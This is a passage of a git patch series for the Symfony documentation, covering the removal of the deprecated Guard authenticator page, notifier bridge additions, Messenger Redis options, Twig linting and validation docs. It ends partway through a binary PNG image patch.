-.. _`Social Authentication`: https://github.com/knpuniversity/oauth2-client-bundle#authenticating-with-guard
-.. _`HWIOAuthBundle`: https://github.com/hwi/HWIOAuthBundle
diff --git a/security/multiple_guard_authenticators.rst b/security/multiple_guard_authenticators.rst
deleted file mode 100644
index 7e121fcc6cc..00000000000
--- a/security/multiple_guard_authenticators.rst
+++ /dev/null
@@ -1,185 +0,0 @@
-How to Use Multiple Guard Authenticators
-========================================
-
-.. deprecated:: 5.3
-
-    Guard authenticators are deprecated since Symfony 5.3 in favor of the
-    :doc:`new authenticator-based system </security/authenticator_manager>`.
-
-The Guard authentication component allows you to use many different
-authenticators at a time.
-
-An entry point is a service id (of one of your authenticators) whose
-``start()`` method is called to start the authentication process.
-
-Multiple Authenticators with Shared Entry Point
------------------------------------------------
-
-Sometimes you want to offer your users different authentication mechanisms like
-a form login and a Facebook login while both entry points redirect the user to
-the same login page.
-However, in your configuration you have to explicitly say which entry point
-you want to use.
-
-This is how your security configuration can look in action:
-
-.. configuration-block::
-
-    .. code-block:: yaml
-
-        # config/packages/security.yaml
-        security:
-            # ...
-            firewalls:
-                default:
-                    anonymous: true
-                    lazy: true
-                    guard:
-                        authenticators:
-                            - App\Security\LoginFormAuthenticator
-                            - App\Security\FacebookConnectAuthenticator
-                        entry_point: App\Security\LoginFormAuthenticator
-
-    .. code-block:: xml
-
-        <!-- config/packages/security.xml -->
-        <?xml version="1.0" encoding="UTF-8" ?>
-        <srv:container xmlns="http://symfony.com/schema/dic/security"
-            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
-            xmlns:srv="http://symfony.com/schema/dic/services"
-            xsi:schemaLocation="http://symfony.com/schema/dic/services
-                https://symfony.com/schema/dic/services/services-1.0.xsd
-                http://symfony.com/schema/dic/security
-                https://symfony.com/schema/dic/security/security-1.0.xsd">
-
-            <config>
-                <!-- ... -->
-                <firewall name="default" anonymous="true" lazy="true">
-                    <guard entry-point="App\Security\LoginFormAuthenticator">
-                        <authenticator>App\Security\LoginFormAuthenticator</authenticator>
-                        <authenticator>App\Security\FacebookConnectAuthenticator</authenticator>
-                    </guard>
-                </firewall>
-            </config>
-        </srv:container>
-
-    .. code-block:: php
-
-        // config/packages/security.php
-        use App\Security\FacebookConnectAuthenticator;
-        use App\Security\LoginFormAuthenticator;
-        use Symfony\Config\SecurityConfig;
-
-        return static function (SecurityConfig $security) {
-            // ...
-
-            $defaultFirewall = $security->firewall('default');
-            $defaultFirewall->lazy(true);
-            $defaultFirewall->anonymous();
-            $defaultFirewall->guard()
-                ->entryPoint(LoginFormAuthenticator::class)
-                ->authenticators([
-                    LoginFormAuthenticator::class,
-                    FacebookConnectAuthenticator::class,
-                ]);
-        };
-
-There is one limitation with this approach - you have to use exactly one entry point.
-
-Multiple Authenticators with Separate Entry Points
---------------------------------------------------
-
-However, there are use cases where you have authenticators that protect different
-parts of your application. For example, you have a login form that protects
-the secured area of your application front-end and API end points that are
-protected with API tokens. As you can only configure one entry point per firewall,
-the solution is to split the configuration into two separate firewalls:
-
-.. configuration-block::
-
-    .. code-block:: yaml
-
-        # config/packages/security.yaml
-        security:
-            # ...
-            firewalls:
-                api:
-                    pattern: ^/api/
-                    guard:
-                        authenticators:
-                            - App\Security\ApiTokenAuthenticator
-                default:
-                    anonymous: true
-                    lazy: true
-                    guard:
-                        authenticators:
-                            - App\Security\LoginFormAuthenticator
-            access_control:
-                - { path: '^/login', roles: IS_AUTHENTICATED_ANONYMOUSLY }
-                - { path: '^/api', roles: ROLE_API_USER }
-                - { path: '^/', roles: ROLE_USER }
-
-    .. code-block:: xml
-
-        <!-- config/packages/security.xml -->
-        <?xml version="1.0" encoding="UTF-8" ?>
-        <srv:container xmlns="http://symfony.com/schema/dic/security"
-            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
-            xmlns:srv="http://symfony.com/schema/dic/services"
-            xsi:schemaLocation="http://symfony.com/schema/dic/services
-                https://symfony.com/schema/dic/services/services-1.0.xsd
-                http://symfony.com/schema/dic/security
-                https://symfony.com/schema/dic/security/security-1.0.xsd">
-
-            <config>
-                <!-- ... -->
-                <firewall name="api" pattern="^/api/">
-                    <guard>
-                        <authenticator>App\Security\ApiTokenAuthenticator</authenticator>
-                    </guard>
-                </firewall>
-                <firewall name="default" anonymous="true" lazy="true">
-                    <guard>
-                        <authenticator>App\Security\LoginFormAuthenticator</authenticator>
-                    </guard>
-                </firewall>
-                <rule path="^/login" role="IS_AUTHENTICATED_ANONYMOUSLY"/>
-                <rule path="^/api" role="ROLE_API_USER"/>
-                <rule path="^/" role="ROLE_USER"/>
-            </config>
-        </srv:container>
-
-    .. code-block:: php
-
-        // config/packages/security.php
-        use App\Security\ApiTokenAuthenticator;
-        use App\Security\LoginFormAuthenticator;
-        use Symfony\Config\SecurityConfig;
-
-        return static function (SecurityConfig $security) {
-            $security->firewall('api')
-                ->pattern('^/api')
-                ->guard()
-                ->authenticators([
-                    ApiTokenAuthenticator::class,
-                ]);
-
-            $defaultFirewall = $security->firewall('default');
-            $defaultFirewall->lazy(true);
-            $defaultFirewall->anonymous();
-            $defaultFirewall->guard()
-                ->authenticators([
-                    LoginFormAuthenticator::class,
-                ]);
-
-            $security->accessControl()
-                ->path('^/login')
-                ->roles(['IS_AUTHENTICATED_ANONYMOUSLY']);
-            $security->accessControl()
-                ->path('^/api')
-                ->roles(['ROLE_API_USER']);
-            $security->accessControl()
-                ->path('^/')
-                ->roles(['ROLE_USER']);
-        };
-
diff --git a/security/password_migration.rst b/security/password_migration.rst
index 6dfcb39cbb2..62d098f8bf7 100644
--- a/security/password_migration.rst
+++ b/security/password_migration.rst
@@ -141,7 +141,7 @@ After this, you're done and passwords are always hashed as secure as possible!
 Provide the Password when using Guard
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
-When you're using a custom :doc:`guard authenticator </security/guard_authentication>`,
+When you're using a custom :doc:`authenticator </security/authenticator_manager>`,
 you need to implement :class:`Symfony\\Component\\Security\\Guard\\PasswordAuthenticatedInterface`.
 This interface defines a ``getPassword()`` method that returns the password
 for this login request. This password is used in the migration process::

From 75ba6c81a11de65e715ab91c4d5c2e6831fc0d99 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Fri, 23 Jul 2021 13:41:58 +0200
Subject: [PATCH 1012/5766] [Messenger] Document the changes in the
 delete_after_ack Redis option

---
 messenger.rst | 8 +++++++-
 1 file changed, 7 insertions(+), 1 deletion(-)

diff --git a/messenger.rst b/messenger.rst
index c2ece12daf9..ecc009f932a 100644
--- a/messenger.rst
+++ b/messenger.rst
@@ -1354,7 +1354,7 @@ The Redis transport DSN may looks like this:
     # .env
     MESSENGER_TRANSPORT_DSN=redis://localhost:6379/messages
     # Full DSN Example
-    MESSENGER_TRANSPORT_DSN=redis://password@localhost:6379/messages/symfony/consumer?auto_setup=true&serializer=1&stream_max_entries=0&dbindex=0
+    MESSENGER_TRANSPORT_DSN=redis://password@localhost:6379/messages/symfony/consumer?auto_setup=true&serializer=1&stream_max_entries=0&dbindex=0&delete_after_ack=true
     # Redis Cluster Example
     MESSENGER_TRANSPORT_DSN=redis://host-01:6379,redis://host-02:6379,redis://host-03:6379,redis://host-04:6379
     # Unix Socket Example
@@ -1427,6 +1427,12 @@ claim_interval       Interval on which pending/abandoned    ``60000`` (1 Minute)
 
     The ``delete_after_reject`` and ``lazy`` options were introduced in Symfony 5.2.
 
+.. deprecated:: 5.4
+
+    Not setting a explicit value for the ``delete_after_ack`` option is
+    deprcated since Symfony 5.4. In Symfony 6.0, the default value of this
+    option changes from ``false`` to ``true``.
+
 In Memory Transport
 ~~~~~~~~~~~~~~~~~~~
 

From d14cc2bed60c59bd20c18d3df384691b98e0314a Mon Sep 17 00:00:00 2001
From: Mathieu Santostefano <msantostefano@jolicode.com>
Date: Fri, 23 Jul 2021 15:17:35 +0200
Subject: [PATCH 1013/5766] Add Yunpian notifier documentation

---
 notifier.rst | 3 ++-
 1 file changed, 2 insertions(+), 1 deletion(-)

diff --git a/notifier.rst b/notifier.rst
index d7b7990c3e2..90e042d04ff 100644
--- a/notifier.rst
+++ b/notifier.rst
@@ -78,6 +78,7 @@ SmsBiuras       ``symfony/sms-biuras-notifier``       ``smsbiuras://UID:API_KEY@
 Smsc            ``symfony/smsc-notifier``             ``smsc://LOGIN:PASSWORD@default?from=FROM``
 SpotHit         ``symfony/spothit-notifier``          ``spothit://TOKEN@default?from=FROM``
 Twilio          ``symfony/twilio-notifier``           ``twilio://SID:TOKEN@default?from=FROM``
+Yunpian         ``symfony/yunpian-notifier``          ``yunpian://APIKEY@default``
 ==============  ====================================  ===========================================================================
 
 .. versionadded:: 5.1
@@ -95,7 +96,7 @@ Twilio          ``symfony/twilio-notifier``           ``twilio://SID:TOKEN@defau
 
 .. versionadded:: 5.4
 
-    The MessageMedia and Smsc integrations were introduced in Symfony 5.4.
+    The MessageMedia, Smsc and Yunpian integrations were introduced in Symfony 5.4.
 
 To enable a texter, add the correct DSN in your ``.env`` file and
 configure the ``texter_transports``:

From 6ab1a8decbed3911958268eaabea2b858564969e Mon Sep 17 00:00:00 2001
From: Adrien Chinour <git@chinour.fr>
Date: Mon, 5 Jul 2021 01:20:03 +0200
Subject: [PATCH 1014/5766]  [Notifier] Add AmazonSns Bridge

---
 notifier.rst | 8 +++++++-
 1 file changed, 7 insertions(+), 1 deletion(-)

diff --git a/notifier.rst b/notifier.rst
index 90e042d04ff..05f5645b30d 100644
--- a/notifier.rst
+++ b/notifier.rst
@@ -57,6 +57,7 @@ with a couple popular SMS services:
 Service         Package                               DSN
 ==============  ====================================  ===========================================================================
 AllMySms        ``symfony/allmysms-notifier``         ``allmysms://LOGIN:APIKEY@default?from=FROM``
+AmazonSns       ``symfony/amazon-sns-notifier``       ``sns://ACCESS_KEY:SECRET_KEY@default?region=REGION``
 Clickatell      ``symfony/clickatell-notifier``       ``clickatell://ACCESS_TOKEN@default?from=FROM``
 Esendex         ``symfony/esendex-notifier``          ``esendex://USER_NAME:PASSWORD@default?accountreference=ACCOUNT_REFERENCE&from=FROM``
 FakeSms         ``symfony/fake-sms-notifier``         ``fakesms+email://MAILER_SERVICE_ID?to=TO&from=FROM``
@@ -96,7 +97,7 @@ Yunpian         ``symfony/yunpian-notifier``          ``yunpian://APIKEY@default
 
 .. versionadded:: 5.4
 
-    The MessageMedia, Smsc and Yunpian integrations were introduced in Symfony 5.4.
+    The MessageMedia, Smsc, Yunpian and AmazonSns integrations were introduced in Symfony 5.4.
 
 To enable a texter, add the correct DSN in your ``.env`` file and
 configure the ``texter_transports``:
@@ -161,6 +162,7 @@ integration with these chat services:
 ==============  ====================================  ===========================================================================
 Service         Package                               DSN
 ==============  ====================================  ===========================================================================
+AmazonSns       ``symfony/amazon-sns-notifier``       ``sns://ACCESS_KEY:SECRET_KEY@default?region=REGION``
 Discord         ``symfony/discord-notifier``          ``discord://TOKEN@default?webhook_id=ID``
 FakeChat        ``symfony/fake-chat-notifier``        ``fakechat+email://default?to=TO&from=FROM``
 Firebase        ``symfony/firebase-notifier``          ``firebase://USERNAME:PASSWORD@default``
@@ -191,6 +193,10 @@ Zulip           ``symfony/zulip-notifier``            ``zulip://EMAIL:TOKEN@HOST
 
     The Gitter, Mercure, FakeChat and Microsoft Teams integrations were introduced in Symfony 5.3.
 
+.. versionadded:: 5.4
+
+    The AmazonSns integration was introduced in Symfony 5.4.
+
 Chatters are configured using the ``chatter_transports`` setting:
 
 .. code-block:: bash

From 9c346486e55dc480edbfb1d8480b1284625323d7 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Mon, 26 Jul 2021 09:51:02 +0200
Subject: [PATCH 1015/5766] Typo

---
 messenger.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/messenger.rst b/messenger.rst
index ecc009f932a..eb83a48903a 100644
--- a/messenger.rst
+++ b/messenger.rst
@@ -1430,7 +1430,7 @@ claim_interval       Interval on which pending/abandoned    ``60000`` (1 Minute)
 .. deprecated:: 5.4
 
     Not setting a explicit value for the ``delete_after_ack`` option is
-    deprcated since Symfony 5.4. In Symfony 6.0, the default value of this
+    deprecated since Symfony 5.4. In Symfony 6.0, the default value of this
     option changes from ``false`` to ``true``.
 
 In Memory Transport

From 639a4619206fb9d621eafa93b3a4309b192d2cc7 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Tue, 27 Jul 2021 09:19:18 +0200
Subject: [PATCH 1016/5766] [Twig] Document the GitHub actions format in
 lint:twig

---
 templates.rst | 12 ++++++++++++
 1 file changed, 12 insertions(+)

diff --git a/templates.rst b/templates.rst
index de12df7ba13..dd04e6bafe9 100644
--- a/templates.rst
+++ b/templates.rst
@@ -612,6 +612,17 @@ errors. It's useful to run it before deploying your application to production
     # you can also show the deprecated features used in your templates
     $ php bin/console lint:twig --show-deprecations templates/email/
 
+When running the linter inside `GitHub Actions`_, the output is automatically
+adapted to the format required by GitHub, but you can force that format too:
+
+.. code-block:: terminal
+
+    $ php bin/console lint:twig --format=github
+
+.. versionadded:: 5.4
+
+    The ``github`` output format was introduced in Symfony 5.4.
+
 Inspecting Twig Information
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
@@ -1163,3 +1174,4 @@ Learn more
 .. _`Twig template inheritance`: https://twig.symfony.com/doc/2.x/tags/extends.html
 .. _`Twig block tag`: https://twig.symfony.com/doc/2.x/tags/block.html
 .. _`Cross-Site Scripting`: https://en.wikipedia.org/wiki/Cross-site_scripting
+.. _`GitHub Actions`: https://docs.github.com/en/free-pro-team@latest/actions

From 13f97d7692e665f05f45227e440cd3dfe7c2892a Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Tue, 27 Jul 2021 11:25:17 +0200
Subject: [PATCH 1017/5766] Reword

---
 reference/configuration/framework.rst |  2 ++
 validation.rst                        | 24 ++++++++++--------------
 2 files changed, 12 insertions(+), 14 deletions(-)

diff --git a/reference/configuration/framework.rst b/reference/configuration/framework.rst
index da817c5df39..b8cd89bfe71 100644
--- a/reference/configuration/framework.rst
+++ b/reference/configuration/framework.rst
@@ -2371,6 +2371,8 @@ enabled
 
 **type**: ``boolean`` **default**: ``true`` or ``false`` depending on your installation
 
+.. _reference-validation:
+
 validation
 ~~~~~~~~~~
 
diff --git a/validation.rst b/validation.rst
index e8a422dfde0..0f8d0d6e1a0 100644
--- a/validation.rst
+++ b/validation.rst
@@ -11,6 +11,10 @@ into a database or passed to a web service.
 Symfony provides a `Validator`_ component to handle this for you. This
 component is based on the `JSR303 Bean Validation specification`_.
 
+.. index::
+   pair: Validation; Installation
+   pair: Validation; Configuration
+
 Installation
 ------------
 
@@ -21,6 +25,12 @@ install the validator before using it:
 
     $ composer require symfony/validator doctrine/annotations
 
+.. note::
+
+    If your application doesn't use Symfony Flex, you might need to do some
+    manual configuration to enable validation. Check out the
+    :ref:`Validation configuration reference <reference-validation>`.
+
 .. index::
    single: Validation; The basics
 
@@ -206,20 +216,6 @@ Inside the template, you can output the list of errors exactly as needed:
     Each validation error (called a "constraint violation"), is represented by
     a :class:`Symfony\\Component\\Validator\\ConstraintViolation` object.
 
-.. index::
-   pair: Validation; Configuration
-
-Configuration
--------------
-
-In the previous Symfony versions, enabling the validator in configuration was a requirement. It's not the case anymore, the validation is enabled by default as long as the Validator component is installed. In the same way, annotations are enabled by default if ``doctrine/annotations`` is installed.
-
-.. tip::
-
-    When using PHP, YAML, and XML files instead of annotations, Symfony looks
-    for by default in the ``config/validator/`` directory, but you can configure
-    other directories with the :ref:`validation.mapping.paths <reference-validation-mapping>` option.
-
 .. index::
    single: Validation; Constraints
 

From 3c98ba82d47079d956141a79af2cf57512d1c116 Mon Sep 17 00:00:00 2001
From: Kamil Kubicki <dev@kamil-kubicki.com>
Date: Sat, 24 Apr 2021 00:42:33 +0200
Subject: [PATCH 1018/5766] [Notifier] Documentation for Microsoft Teams
 Options

---
 .../notifier/microsoft_teams/message-card.png | Bin 0 -> 27738 bytes
 _images/notifier/microsoft_teams/message.png  | Bin 0 -> 7777 bytes
 notifier/chatters.rst                         |  93 ++++++++++++++++++
 3 files changed, 93 insertions(+)
 create mode 100644 _images/notifier/microsoft_teams/message-card.png
 create mode 100644 _images/notifier/microsoft_teams/message.png

diff --git a/_images/notifier/microsoft_teams/message-card.png b/_images/notifier/microsoft_teams/message-card.png
new file mode 100644
index 0000000000000000000000000000000000000000..05f505fb3e0960e55017eb437049946e834002fe
GIT binary patch
literal 27738
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
